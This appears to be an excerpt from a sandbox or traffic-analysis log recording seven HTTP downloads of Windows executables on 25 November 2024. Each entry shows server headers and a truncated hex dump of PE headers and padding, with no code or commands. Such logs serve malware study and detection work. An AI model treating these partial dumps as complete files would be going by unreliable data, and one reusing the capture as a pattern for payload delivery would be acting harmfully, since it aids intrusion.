Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 02:39:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 02:39:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 02:39:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 02:39:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 02:39:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 02:39:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 02:39:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
